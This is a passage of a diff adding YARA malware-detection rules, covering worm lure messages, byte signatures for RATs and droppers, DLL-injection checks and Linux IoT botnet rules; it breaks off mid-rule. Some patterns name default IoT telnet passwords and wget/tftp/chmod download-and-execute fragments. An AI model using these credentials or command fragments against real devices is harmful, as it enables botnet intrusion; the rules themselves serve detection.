+		$ = "vaata seda pilti" ascii wide
+		$ = "spojrzec na to zdjecie" ascii wide
+		$ = "Ieskatieties " ascii wide
+		$ = "kyk na hierdie foto" ascii wide
+		$ = "tell me what you think of this picture i edited" ascii wide
+		$ = "this is the funniest photo ever!" ascii wide
+		$ = "tell me what you think of this photo" ascii wide
+		$ = "i don't think i will ever sleep again after seeing this photo" ascii wide
+		$ = "i cant believe i still have this picture" ascii wide
+		$ = "should i make this my default picture?" ascii wide
+		$ = "ken je dat foto nog?" ascii wide
+		$ = "kijk wat voor een foto ik heb gevonden" ascii wide
+		$ = "ik hoop dat jij het net bent op dit foto" ascii wide
+		$ = "ben jij dat op dit foto?" ascii wide
+		$ = "dit foto zal je echt eens bekijken!" ascii wide
+		$ = "ken je dit foto al?" ascii wide
+		$ = "olhar para esta foto" ascii wide
+		$ = "devrais-je mettre cette photo de profile?" ascii wide
+		$ = "c'est la photo la plus marrante!" ascii wide
+		$ = "dis moi ce que tu pense de cette photo de moi?" ascii wide
+		$ = "mes parents vont me tu" ascii wide
+		$ = "creo que no voy a poder dormir m" ascii wide
+		$ = "esta foto es gracios" ascii wide
+		$ = "mis padres me van a matar si ven esta foto mia, que decis?" ascii wide
+		$ = "mira como saliste en esta foto jajaja" ascii wide
+		$ = "wie findest du das foto?" ascii wide
+		$ = "hab ich dir das foto schon gezeigt?" ascii wide
+		$ = "schau mal welches foto ich gefunden hab" ascii wide
+		$ = "bist du das auf dem foto?" ascii wide
+		$ = "kennst du das foto schon?" ascii wide
+		$ = "I cant believe I still have this picture" ascii wide 
+		$ = "I love your picture!" ascii wide 
+		$ = "Is this you??" ascii wide 
+		$ = "Picture of you???" ascii wide 
+		$ = "Should I upload this picture on facebook?" ascii wide
+		$ = "Someone showed me your picture" ascii wide 
+		$ = "Someone told me it's your picture" ascii wide 
+		$ = "Take a look at my new picture please" ascii wide 
+		$ = "Tell me what you think of this picture" ascii wide 
+		$ = "This is the funniest picture ever!" ascii wide 
+		$ = "What do you think of my new hair" ascii wide 
+		$ = "What you think of my new hair color?" ascii wide 
+		$ = "What you think of this picture?" ascii wide 
+		$ = "You look so beautiful on this picture" ascii wide 
+		$ = "You should take a look at this picture" ascii wide 
+		$ = "Your photo isn't really that great" ascii wide
+
+	condition:
+		5 of them
+}rule WormWin32SillyP2PSampleH
+{
+	meta:
+		Description  = "Worm.Silly.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "95BC789A" ascii wide
+		$ = "svchosts.exe" ascii wide
+		$ = "Failed to start dl thread." ascii wide
+		$ = "wo8T#$>X&D" ascii wide
+
+		$hex0 = { 55 8b ec 81 ec 8c 06 00 00 56 57 83 ?? ?? ?? ?? ?? ?? 8b ?? ?? b9 a5 00 00 00 8d ?? ?? ?? ?? ?? f3 ?? 68 04 01 00 00 8d ?? ?? ?? ?? ?? 50 68 68 42 40 00 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 6a 00 68 60 42 40 00 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 68 58 42 40 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 59 59 83 ?? ?? ?? ?? ?? ?? 74 ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? eb ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 68 38 42 40 00 68 ff 01 00 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 14 8d ?? ?? ?? ?? ?? 50 8d ?? ?? ?? ?? ?? 50 6a 06 ff ?? ?? e8 ?? ?? ?? ?? 83 c4 10 68 00 02 00 00 6a 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? eb ?? 68 64 41 40 00 68 28 42 40 00 68 ff 01 00 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 10 eb ?? 8d ?? ?? ?? ?? ?? 50 68 0c 42 40 00 68 ff 01 00 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 10 eb ?? 68 f0 41 40 00 68 ff 01 00 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c eb ?? 68 c4 41 40 00 68 ff 01 00 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c 8d ?? ?? ?? ?? ?? 50 8d ?? ?? ?? ?? ?? 50 6a 06 ff ?? ?? e8 ?? ?? ?? ?? 83 c4 10 68 00 02 00 00 6a 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c 83 ?? ?? ?? ?? ?? ?? 75 ?? ff ?? ?? ?? ?? ?? 6a 00 ff ?? ?? ?? ?? ?? ff ?? ?? e8 ?? ?? ?? ?? 59 6a 00 ff ?? ?? ?? ?? ??}
+		$hex1 = { 55 8b ec 81 ec 14 03 00 00 57 80 ?? ?? ?? ?? ?? ?? 6a 40 59 33 c0 8d ?? ?? ?? ?? ?? f3 ?? 66 ?? aa 80 ?? ?? ?? ?? ?? ?? 6a 40 59 33 c0 8d ?? ?? ?? ?? ?? f3 ?? 66 ?? aa 6a 03 8d ?? ?? ?? ?? ?? 50 6a 00 ff ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 80 ?? ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 83 f8 02 75 ?? 6a 05 6a 00 8d ?? ?? ?? ?? ?? 50 68 48 41 40 00 68 40 41 40 00 6a 00 ff ?? ?? ?? ?? ?? 68 54 40 40 00 e8 ?? ?? ?? ?? 59 50 68 54 40 40 00 e8 ?? ?? ?? ?? 59 59 68 90 01 00 00 ff ?? ?? ?? ?? ?? 68 6c 40 40 00 6a 00 6a 00 ff ?? ?? ?? ?? ?? a3 ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 3d b7 00 00 00 75 ?? 6a 00 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 89 ?? ?? 68 34 41 40 00 ff ?? ?? e8 ?? ?? ?? ?? 59 59 85 c0 74 ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? a0 ?? ?? ?? ?? 88 ?? ?? 8d ?? ?? 50 e8 ?? ?? ?? ??}
+		$hex2 = { 55 8b ec 81 ec 10 03 00 00 83 ?? ?? ?? ?? ?? ?? 68 04 01 00 00 8d ?? ?? ?? ?? ?? 50 6a 00 ff ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 68 04 01 00 00 8d ?? ?? ?? ?? ?? 50 68 78 40 40 00 ff ?? ?? ?? ?? ?? 68 84 40 40 00 8d ?? ?? ?? ?? ?? 50 68 74 42 40 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 10 68 84 40 40 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 59 59 85 c0 0f ?? ?? ?? ?? ?? 6a 00 8d ?? ?? ?? ?? ?? 50 6a 00 68 3f 00 0f 00 6a 00 6a 00 6a 00 68 c0 42 40 00 68 01 00 00 80 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 59 50 8d ?? ?? ?? ?? ?? 50 6a 01 6a 00 68 94 40 40 00 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 6a 00 8d ?? ?? ?? ?? ?? 50 6a 00 68 3f 00 0f 00 6a 00 6a 00 6a 00 68 c0 42 40 00 68 02 00 00 80 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 59 50 8d ?? ?? ?? ?? ?? 50 6a 01 6a 00 68 94 40 40 00 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 6a 00 8d ?? ?? ?? ?? ?? 50 6a 00 68 3f 00 0f 00 6a 00 6a 00 6a 00 68 7c 42 40 00 68 02 00 00 80 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 59 50 8d ?? ?? ?? ?? ?? 50 6a 01 6a 00 68 94 40 40 00 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 68 34 41 40 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 59 59 0f b6 c0 85 c0 74 ?? 68 c8 00 00 00 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 6a 00 ff ?? ?? ?? ?? ?? 6a 00 ff ?? ?? ?? ?? ?? c9 c3}
+
+	condition:
+		(3 of them) or (any of ($hex*))
+}rule WormSkypeMsgSpamerSample
+{
+	meta:
+		Description  = "Worm.SkypeSpamer.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$code = { 6A FF 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 81 EC ?? ?? ?? ?? 53 55 56 57 33 DB 68 ?? ?? ?? ?? 88 5C 24 17 E8 ?? ?? ?? ?? 83 C4 04 85 C0 75 34 68 96 00 00 00 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 83 F8 01 75 10 E8 ?? ?? ?? ?? 3C 01 75 23 53 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 }
+		$a = "Skype.exe" ascii wide
+		$b = "msnmsgr.exe" ascii wide
+	condition:
+		2 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/group-ib/CorkowDLL.yar b/yara-mikesxrs/group-ib/CorkowDLL.yar
new file mode 100644
index 0000000..e818457
--- /dev/null
+++ b/yara-mikesxrs/group-ib/CorkowDLL.yar
@@ -0,0 +1,15 @@
+rule CorkowDLL
+{
+meta:
+	description = "Rule to detect the Corkow DLL files"
+    reference = "www.group-ib.ru/brochures/Group-IB-Corkow-Report-EN.pdf"
+strings:
+	$mz = { 4d 5a }
+	$binary1 = {60 [0-8] 9C [0-8] BB ?? ?? ?? ?? [0-8] 81 EB ?? ?? ?? ?? [0-8] E8 ?? 00 00 00 [0-8] 58 [0-8] 2B C3}
+	$binary2 = {(FF 75 ?? | 53) FF 75 10 FF 75 0C FF 75 08 E8 ?? ?? ?? ?? [3-9] C9 C2 0C 00}
+	$export1 = "Control_RunDLL"
+	$export2 = "ServiceMain"
+	$export3 = "DllGetClassObject"
+condition:
+	($mz at 0) and ($binary1 and $binary2) and any of ($export*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/group-ib/albaniiutas_dropper_exe.yar b/yara-mikesxrs/group-ib/albaniiutas_dropper_exe.yar
new file mode 100644
index 0000000..82f5c00
--- /dev/null
+++ b/yara-mikesxrs/group-ib/albaniiutas_dropper_exe.yar
@@ -0,0 +1,37 @@
+import "pe"
+
+rule albaniiutas_dropper_exe
+{
+  meta:
+    author = "Dmitry Kupin"
+    company = "Group-IB"
+    family = "albaniiutas.dropper"
+    description = "Suspected Albaniiutas dropper"
+    reference = "https://blog.group-ib.com/task"
+    sample = "2a3c8dabdee7393094d72ce26ccbce34bff924a1be801f745d184a33119eeda4" // csrss.exe dropped from 83b619f65...
+    sample = "71750c58eee35107db1a8e4d583f3b1a918dbffbd42a6c870b100a98fd0342e0" // csrss.exe dropped from 690bf6b83...
+    sample = "83b619f65d49afbb76c849c3f5315dbcb4d2c7f4ddf89ac93c26977e85105f32" // dropper_stage_0 with decoy
+    sample = "690bf6b83cecbf0ac5c5f4939a9283f194b1a8815a62531a000f3020fee2ec42" // dropper_stage_0 with decoy
+    severity = 9
+    date = "2021-07-06"
+
+  strings:
+    $eventname = /[0-9A-F]{8}-[0-9A-F]{4}-4551-8F84-08E738AEC[0-9A-F]{3}/ fullword ascii wide
+    $rc4_key = { 00 4C 21 51 40 57 23 45 24 52 25 54 5E 59 26 55 2A 41 7C 7D 74 7E 6B 00 } // L!Q@W#E$R%T^Y&U*A|}t~k
+    $aes256_str_seed = { 00 65 34 65 35 32 37 36 63 30 30 30 30 31 66 66 35 00 } // e4e5276c00001ff5
+    $s0 = "Release Entery Error" fullword ascii
+    $s1 = "FileVJCr error" fullword ascii
+    $s2 = "wchWSMhostr error" fullword ascii
+    $s3 = "zlib err0r" fullword ascii
+    $s4 = "De err0r" fullword ascii
+    $s5 = "CreateFileW_CH error!" fullword ascii
+    $s6 = "GetConfigOffset error!" fullword ascii
+
+  condition:
+    5 of them or
+    (
+     pe.imphash() == "222e118fa8c0eafeef102e49953507b9" or
+     pe.imphash() == "7210d5941678578c0a31adb5c361254d" or
+     pe.imphash() == "41e9907a6c468b4118e968a01461a45b"
+    )
+}
diff --git a/yara-mikesxrs/group-ib/albaniiutas_rat_dll.yar b/yara-mikesxrs/group-ib/albaniiutas_rat_dll.yar
new file mode 100644
index 0000000..7c3d149
--- /dev/null
+++ b/yara-mikesxrs/group-ib/albaniiutas_rat_dll.yar
@@ -0,0 +1,33 @@
+rule albaniiutas_rat_dll
+{
+  meta:
+    author = "Dmitry Kupin"
+    company = "Group-IB"
+    family = "albaniiutas.rat"
+    description = "Suspected Albaniiutas RAT (fileless)"
+    reference = "https://blog.group-ib.com/task"
+    sample = "fd43fa2e70bcc3b602363667560494229287bf4716638477889ae3f816efc705" // dumped
+    severity = 9
+    date = "2021-07-06"
+
+  strings:
+    $rc4_key = { 00 4C 21 51 40 57 23 45 24 52 25 54 5E 59 26 55 2A 41 7C 7D 74 7E 6B 00 } // L!Q@W#E$R%T^Y&U*A|}t~k
+    $aes256_str_seed = { 00 30 33 30 34 32 37 36 63 66 34 66 33 31 33 34 35 00 } // 0304276cf4f31345
+    $s0 = "http://%s/%s/%s/" fullword ascii
+    $s1 = "%s%04d/%s" fullword ascii
+    $s2 = "GetRemoteFileData error!" fullword ascii
+    $s3 = "ReadInjectFile error!" fullword ascii
+    $s4 = "%02d%02d" fullword ascii
+    $s5 = "ReadInject succeed!" fullword ascii
+    $s6 = "/index.htm" fullword ascii
+    $s7 = "commandstr" fullword ascii
+    $s8 = "ClientX.dll" fullword ascii
+    $s9 = "GetPluginObject" fullword ascii
+    $s10 = "D4444 0k!" fullword ascii
+    $s11 = "D5555 E00r!" fullword ascii
+    $s12 = "U4444 0k!" fullword ascii
+    $s13 = "U5555 E00r!" fullword ascii
+
+  condition:
+    5 of them
+}
diff --git a/yara-mikesxrs/group-ib/webdavo_rat.yar b/yara-mikesxrs/group-ib/webdavo_rat.yar
new file mode 100644
index 0000000..8b8b7b3
--- /dev/null
+++ b/yara-mikesxrs/group-ib/webdavo_rat.yar
@@ -0,0 +1,30 @@
+import "pe"
+
+rule webdavo_rat
+{
+  meta:
+    author = "Dmitry Kupin"
+    company = "Group-IB"
+    family = "webdavo.rat"
+    description = "Suspected Webdav-O RAT (YaDisk)"
+    reference = "https://blog.group-ib.com/task"
+    sample = "7874c9ab2828bc3bf920e8cdee027e745ff059237c61b7276bbba5311147ebb6" // x86
+    sample = "849e6ed87188de6dc9f2ef37e7c446806057677c6e05a367abbd649784abdf77" // x64
+    severity = 9
+    date = "2021-06-10"
+
+  strings:
+    $rc4_key_0 = { 8A 4F 01 47 34 C9 75 F8 2B C8 C1 E9 D2 F3 A5 8B }
+    $rc4_key_1 = { C3 02 03 04 05 DD EE 08 09 10 11 12 1F D2 15 16 }
+    $s0 = "y_dll.dll" fullword ascii
+    $s1 = "test3.txt" fullword ascii
+    $s2 = "DELETE" fullword wide
+    $s3 = "PROPFIND" fullword wide
+
+  condition:
+    (any of ($rc4_key*) or 3 of ($s*)) or
+    (
+     pe.imphash() == "43021febc8494d66a8bc60d0fa953473" or
+     pe.imphash() == "68320a454321f215a3b6fcd7d585626b"
+    )
+}
diff --git a/yara-mikesxrs/h3x2b/cab.yara b/yara-mikesxrs/h3x2b/cab.yara
new file mode 100644
index 0000000..4b1cbef
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/cab.yara
@@ -0,0 +1,25 @@
+rule archive_cab : info archive cab windows
+{
+	meta:
+		//author = "@h3x2b <tracker _AT h3x.eu>"
+		description = "Detect CAB archive"
+
+	condition:
+                //MSCF on the beginning of file
+                uint32(0) == 0x4643534d and
+                uint32(1) == 0x00000000 
+}
+
+rule embedded_archive_cab : info embedded archive cab windows
+{
+	meta:
+		//author = "@h3x2b <tracker _AT h3x.eu>"
+		description = "Detect CAB archive"
+
+	strings:
+		$mscf_h3xstring = { 4D 53 43 46 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 }
+
+	condition:
+                //MSCF on the beginning of cab file foolowed by resered zeroes
+		$mscf_h3xstring
+}
diff --git a/yara-mikesxrs/h3x2b/compiler.yara b/yara-mikesxrs/h3x2b/compiler.yara
new file mode 100644
index 0000000..9bf5711
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/compiler.yara
@@ -0,0 +1,67 @@
+rule executable_au3 : info compiler autit
+{
+    meta:
+        // author = "@h3x2b <tracker _AT h3x.eu>"
+        description = "Match AU3 autoit executables"
+
+    strings:
+        $str_au3_01 = "AU3"
+        $str_au3_02 = { A3 48 4B BE 98 6C 4A A9 99 4C 53 0A 86 D6 48 7D }
+
+    condition:
+        all of them
+}
+
+
+
+rule vb_pcode : info compiler vb
+{
+    meta:
+        // author = "@h3x2b <tracker _AT h3x.eu>"
+        description = "VisualBasic compiled to P-Code bytecode"
+        // http://waleedassar.blogspot.com/2012/03/visual-basic-malware-part-1.html
+
+    strings:
+        $str_vb_01 = "VB5"
+        $str_vb_pcode = { E9 E9 E9 E9 CC CC CC CC CC CC CC CC CC CC CC CC 9E 9E 9E 9E }
+
+    condition:
+        ( $str_vb_01 )
+        and $str_vb_pcode
+}
+
+
+
+rule vb_native: info compiler vb
+{
+    meta:
+        // author = "@h3x2b <tracker _AT h3x.eu>"
+        description = "VisualBasic compiled to Native code, http://waleedassar.blogspot.com/2012/03/visual-basic-malware-part-1.html"
+
+    strings:
+        $str_vb_01 = "VB5"
+        $str_vb_ncode = { E9 E9 E9 E9 CC CC CC CC CC CC CC CC CC CC CC CC 55 8B EC }
+
+    condition:
+        ( $str_vb_01 )
+        and $str_vb_ncode
+}
+
+
+
+rule dotnet_libraries: info compiler dotnet
+{
+    meta:
+        // author = "@h3x2b <tracker _AT h3x.eu>"
+        description = ".Net runtime mscoree.dll mscorwks.dll"
+
+    strings:
+        $str_dn_01 = "mscoree.dll"
+        $str_dn_02 = "_CorExeMain"
+        $str_dn_03 = "mscorwks.dll"
+        $str_dn_04 = "CoInitializeEE"
+
+    condition:
+        2 of ($str_dn_* )
+
+}
diff --git a/yara-mikesxrs/h3x2b/exe.yara b/yara-mikesxrs/h3x2b/exe.yara
new file mode 100644
index 0000000..82003f7
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/exe.yara
@@ -0,0 +1,57 @@
+rule executable_au3 : info executable windows
+{
+	meta:
+		author = "@h3x2b <tracker _AT h3x.eu>"
+		description = "Match AU3 autoit executables"
+
+	strings:
+		$str_au3_01 = "AU3"
+		$str_au3_02 = { A3 48 4B BE 98 6C 4A A9 99 4C 53 0A 86 D6 48 7D }
+
+	condition:
+		all of them
+}
+
+
+rule executable_pe : info executable windows
+{
+	meta:
+		author = "@h3x2b <tracker _AT h3x.eu>"
+		description = "Detect PE executables"
+
+	strings:
+		$pe = "PE"
+
+	condition:
+                //MZ on the beginning of file
+                uint16(0) == 0x5a4d and
+		//PE at offset given by 0x3c
+		($pe at (uint32(0x3c)))
+}
+
+
+
+rule executable_elf32 : info executable linux
+{
+	meta:
+		author = "@h3x2b <tracker _AT h3x.eu>"
+		description = "Detect ELF 32 bit executable"
+
+	condition:
+                //ELF magic
+                uint32(0) == 0x464c457f and
+		uint8(4) == 0x01
+}
+
+
+rule executable_elf64 : info executable linux
+{
+	meta:
+		author = "@h3x2b <tracker _AT h3x.eu>"
+		description = "Detect ELF 64 bit executable"
+
+	condition:
+                //ELF magic
+                uint32(0) == 0x464c457f and
+		uint8(4) == 0x02
+}
diff --git a/yara-mikesxrs/h3x2b/injection.yara b/yara-mikesxrs/h3x2b/injection.yara
new file mode 100644
index 0000000..7a567cf
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/injection.yara
@@ -0,0 +1,78 @@
+import "pe"
+
+//Detect capabilities needed for the DLL injection
+// ProcessA -> OpenProcess(); -> ProcessB
+// ProcessA -> VirtualAlloc(); -> ProcessB
+// ProcessA -> WriteProcessMemory(); -> ProcessB
+// LoadLibraryExA()
+// Get..Offset()
+// CreateRemoteThread();
+// NtCreateThreadEx();
+// RtlCreateUserThread;
+
+
+rule dll_injection_thread : feature dll injection windows
+{
+meta:
+	description = "Injection using kernel32.dll:VirtualAllocEx"
+
+strings:
+	$load_01 = "LoadLibraryA"
+
+	$remote_01 = "NtCreateThreadEx"
+
+condition:
+	// MZ at the beginning of file
+        uint16(0) == 0x5a4d and
+
+	// Access other process
+	//(
+	//	pe.imports("kernel32.dll","OpenProcess")
+	//) and
+
+	// Allocate memory in remote process
+	(
+		pe.imports("kernel32.dll","VirtualAllocEx")
+	)and
+
+	// Write code section to the remote process
+	(
+		pe.imports("kernel32.dll","WriteProcessMemory") or
+		pe.imports("kernel32.dll","LoadLibraryExA") or
+		pe.imports("kernel32.dll","LoadLibraryExW") or
+		(
+			pe.imports("kernel32.dll","GetProcAddress") and
+			( pe.imports("kernel32.dll","GetModuleHandleA") or pe.imports("kernel32.dll","GetModuleHandleA") ) and
+			$load_01
+		)
+	) and
+
+	//Execute
+	(
+		pe.imports("kernel32.dll","CreateRemoteThread") or
+		pe.imports("ntdll.dll","NtCreateThreadEx") or
+		(
+			pe.imports("kernel32.dll","GetProcAddress") and
+			( pe.imports("kernel32.dll","GetModuleHandleA") or pe.imports("kernel32.dll","GetModuleHandleA") ) and
+			$remote_01
+		)
+	)
+
+}
+
+
+rule dll_injection_hook : feature dll injection windows
+{
+meta:
+	description = "Injection using User32.dll:VirtualAllocEx"
+
+
+condition:
+	// MZ at the beginning of file
+        uint16(0) == 0x5a4d and
+
+	(
+		pe.imports("user32.dll","SetWindowsHookExA") or
+		pe.imports("user32.dll","SetWindowsHookExW")
+	)
+}
diff --git a/yara-mikesxrs/h3x2b/java_adwind.yara b/yara-mikesxrs/h3x2b/java_adwind.yara
new file mode 100644
index 0000000..5905d99
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/java_adwind.yara
@@ -0,0 +1,50 @@
+rule adwind_201601
+{
+        meta:
+                author = "@h3x2b <tracker _AT h3x.eu>"
+                description = "Detects Adwind jar malware - 201601"
+                //Check also:
+                //https://github.com/Yara-Rules/rules/blob/master/malware/Adwind_JAR_PACKA.yar
+                //https://github.com/Yara-Rules/rules/blob/master/malware/Adwind_JAR_PACKB.yar
+                //https://github.com/kevthehermit/RATDecoders/blob/master/AlienSpy.py
+
+        strings:
+                //Jar
+                $jar_00 = "META-INF/MANIFEST.MF"
+
+                //Adwind classes
+                $adwind_class_01 = "javas/MaIn.class"
+                $adwind_class_02 = "javas/Encriiption.class"
+                $adwind_class_03 = "javas/DecryptJarcITO.class"
+                $adwind_class_04 = "javas/Cacao.class"
+                $adwind_class_05 = "javas/SetupConfigFirst.class"
+                $adwind_class_06 = "javas/DecryptJar.class"
+                $adwind_class_07 = "javas/ClassFake.class"
+                $adwind_class_08 = "main/Start.class"
+
+                //Adwind config
+                $adwind_cfg_01 = "components/linux.plsk"
+                $adwind_cfg_02 = "components/mac.hwid"
+                $adwind_cfg_03 = "components/manifest.ini"
+                $adwind_cfg_04 = "components/logo.png"
+                $adwind_cfg_05 = "components/picture.gif"
+                $adwind_cfg_06 = "java/textito.isn"
+                $adwind_cfg_07 = "klip/clip.mp4"
+                $adwind_cfg_08 = "config/config.perl"
+                $adwind_cfg_09 = "config/config.pl"
+                $adwind_cfg_10 = "config/config.ini"
+                $adwind_cfg_11 = "windows/windows.ini"
+
+        condition:
+                //Jar|ZIP file starts with "PK"
+                uint16(0) == 0x4B50 and
+
+                //Contains a MANIFEST metafile
+                $jar_00 and
+
+                //Contains any one of the Adwind classes
+                any of ($adwind_class_*) and
+
+                //Contains any of the Adwind key files
+                any of ($adwind_cfg_*)
+}
diff --git a/yara-mikesxrs/h3x2b/lin_coolmemes.yara b/yara-mikesxrs/h3x2b/lin_coolmemes.yara
new file mode 100644
index 0000000..d7e2333
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/lin_coolmemes.yara
@@ -0,0 +1,29 @@
+rule coolmemes_linux_dosbot: malware linux
+{
+	meta:
+                author = "@h3x2b <tracker@h3x.eu>"
+                description = "Detects unknown linux irc bot - 20161009"
+                //Check also:
+                //Samples:
+
+        strings:
+        		$irc_00 = "PING"
+                $irc_01 = "PONG!"
+
+				$x_00 = "SCANNER"
+                $x_01 = "KILLATTK"
+                $x_02 = "COOLMEMES"
+                $x_03 = "BOTKILL"
+                $x_04 = "HTTPFLOOD"
+
+        condition:
+                //ELF magic
+                uint32(0) == 0x464c457f and
+
+                //Contains all of the irc strings
+                all of ($irc_*) and 
+
+		//Contains all of the specific strings
+		all of ($x_*)
+}
+
diff --git a/yara-mikesxrs/h3x2b/lin_darlloz.yara b/yara-mikesxrs/h3x2b/lin_darlloz.yara
new file mode 100644
index 0000000..be72ef9
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/lin_darlloz.yara
@@ -0,0 +1,26 @@
+rule darlloz__payload: malware linux worm
+{
+        meta:
+                author = "@h3x2b <tracker@h3x.eu>"
+                description = "Detects darlloz samples - 20161102"
+                //Check also:
+                // https://www.symantec.com/security_response/writeup.jsp?docid=2013-112710-1612-99&tabid=2
+                // 
+                //Samples:
+
+        strings:
+		$x_01 = "/var/run/.zollard/"
+		$x_02 = "/kernel/net/ipv4/netfilter/ip_tables.ko"
+		$x_03 = "/kernel/net/ipv4/netfilter/iptable_filter.ko"
+		$x_04 = "telnetd"
+		$x_05 = "/var/run/.lightpid"
+		$x_06 = "/var/run/.aidrapid"
+		$x_07 = "/var/run/lightpid"
+
+        condition:
+                //ELF magic
+                uint32(0) == 0x464c457f and
+
+                //Contains all of the specific strings
+                all of ( $x_* ) 
+}
diff --git a/yara-mikesxrs/h3x2b/lin_elfiot.yara b/yara-mikesxrs/h3x2b/lin_elfiot.yara
new file mode 100644
index 0000000..55be980
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/lin_elfiot.yara
@@ -0,0 +1,33 @@
+rule elfiot_generic_linux_iot: malware
+{
+	meta:
+                author = "@h3x2b <tracker@h3x.eu>"
+                description = "Detects unknown linux bot - 20161009"
+                //Check also:
+                //Samples:
+
+        strings:
+       		$user_00 = "root"
+		$user_01 = "admin"
+                $user_02 = "guest"
+                $user_03 = "support"
+
+       		$pass_00 = "xc3511"
+                $pass_01 = "juantech"
+                $pass_02 = "xmhdipc"
+                $pass_03 = "vizxv"
+                $pass_04 = "bayandsl"
+		$pass_05 = "123456"
+                $pass_06 = "dreambox"
+
+
+        condition:
+                //ELF magic
+                uint32(0) == 0x464c457f and
+
+                //Contains all of the irc strings
+                2 of ($user_*) and
+
+		//Contains all of the specific strings
+		3 of ($pass_*)
+}
diff --git a/yara-mikesxrs/h3x2b/lin_irctelnet.yara b/yara-mikesxrs/h3x2b/lin_irctelnet.yara
new file mode 100644
index 0000000..ef68287
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/lin_irctelnet.yara
@@ -0,0 +1,107 @@
+rule irctelnet__loader: malware linux
+{
+        meta:
+                author = "@h3x2b <tracker@h3x.eu>"
+                description = "Detects dropper of the irctelnet - 20161102"
+                //Check also: 
+                // http://blog.malwaremustdie.org/2016/10/mmd-0059-2016-linuxirctelnet-new-ddos.html
+                // http://tracker.h3x.eu/info/850
+                // http://tracker.h3x.eu/corpus/850
+                //Samples:
+
+        strings:
+                $x_00 = "mkdir -p "
+                $x_01 = "&& rm -f "
+                $x_02 = "ftpget -u ftp "
+                $x_03 = "2>&1 ||"
+                $x_04 = "wget -O"
+                $x_05 = "tftp -g -r"
+                $x_06 = "2>&1 &&"
+                $x_07 = "chmod +x "
+                $x_08 = "&& sh "
+
+        condition:
+                //Contains all of the strings
+                all of ($x_*)
+}
+
+rule irctelnet__installer: malware linux
+{
+        meta:
+                author = "@h3x2b <tracker@h3x.eu>"
+                description = "Detects malicious payload of the irctelnet - 20161102"
+                //Check also: 
+                // http://blog.malwaremustdie.org/2016/10/mmd-0059-2016-linuxirctelnet-new-ddos.html
+                // http://tracker.h3x.eu/info/850
+                // http://tracker.h3x.eu/corpus/850
+                //Samples:
+
+        strings:
+                $x_00 = "x32bin="
+                $x_01 = "armbin="
+                $x_02 = "mpsbin="
+                //$x_03 = "mp1bin="
+                $x_04 = "ppcbin="
+                $x_05 = "sphbin="
+                $x_06 = "sprbin="
+                $x_07 = "ulimit -n 4096"
+                $x_08 = "ip="
+                $x_09 = "dir="
+                $x_10 = "me="
+                $x_11 = "killall -9 $"
+                $x_12 = "rm -f $"
+                $x_13 = "wget -O $"
+                $x_14 = " && chmod +x $"
